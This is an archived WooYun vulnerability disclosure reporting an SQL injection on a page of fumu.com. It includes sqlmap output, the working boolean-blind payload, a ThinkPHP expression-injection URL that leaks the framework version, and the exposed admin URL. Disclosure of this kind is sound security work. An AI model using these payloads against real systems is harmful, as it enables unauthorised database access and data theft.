当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138967

漏洞标题：父母网某处SQL注入+小问题

相关厂商：父母网

漏洞作者： 路人甲

提交时间：2015-09-06 11:48

修复时间：2015-09-11 11:50

公开时间：2015-09-11 11:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-06： 细节已通知厂商并且等待厂商处理中
2015-09-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

父母网某处SQL注入
如果曾经充满斗志，那么及时一路上有过受伤，也请坚持下来

详细说明：

注入点;wanlehui.fumu.com/portal.php?mod=list&catid=6&cate_sub=9&order_term=1&master=刘彤
maste参数后加单引号报错
如下图：

1.jpg


sqlmap截图：

2.jpg


附送路径泄露 thinkphp框架的
http://baodian.fumu.com/module/aciton/param1/$%7B@print%28THINK_VERSION%29%7D
后台对外：
http://baodian.fumu.com/admin/

漏洞证明：

sqlmap全过程

[13:58:32] [WARNING] heuristic (basic) test shows that GET parameter 'master' mi
ght not be injectable
[13:58:32] [INFO] testing for SQL injection on GET parameter 'master'
[13:58:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:58:34] [INFO] GET parameter 'master' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[13:58:35] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:58:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:58:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[13:58:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[13:58:36] [INFO] testing 'MySQL inline queries'
[13:58:36] [INFO] testing 'PostgreSQL inline queries'
[13:58:36] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[13:58:36] [INFO] testing 'Oracle inline queries'
[13:58:36] [INFO] testing 'SQLite inline queries'
[13:58:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:58:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:58:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:58:36] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:58:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:58:36] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:58:36] [INFO] testing 'Oracle AND time-based blind'
[13:58:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:58:37] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[13:58:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:58:41] [INFO] checking if the injection point on GET parameter 'master' is a
 false positive
[13:58:43] [WARNING] parameter length constrainting mechanism detected (e.g. Suh
osin patch). Potential problems in enumeration phase can be expected
GET parameter 'master' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N]
sqlmap identified the following injection points with a total of 1010 HTTP(s) re
quests:
---
Parameter: master (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mod=list&catid=6&cate_sub=9&order_term=1&master=%E5%88%98%E5%BD%A4'
 AND 5797=5797 AND 'XeuA'='XeuA
---
[13:58:45] [INFO] testing MySQL
[13:58:45] [INFO] confirming MySQL
[13:58:46] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-11 11:50

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无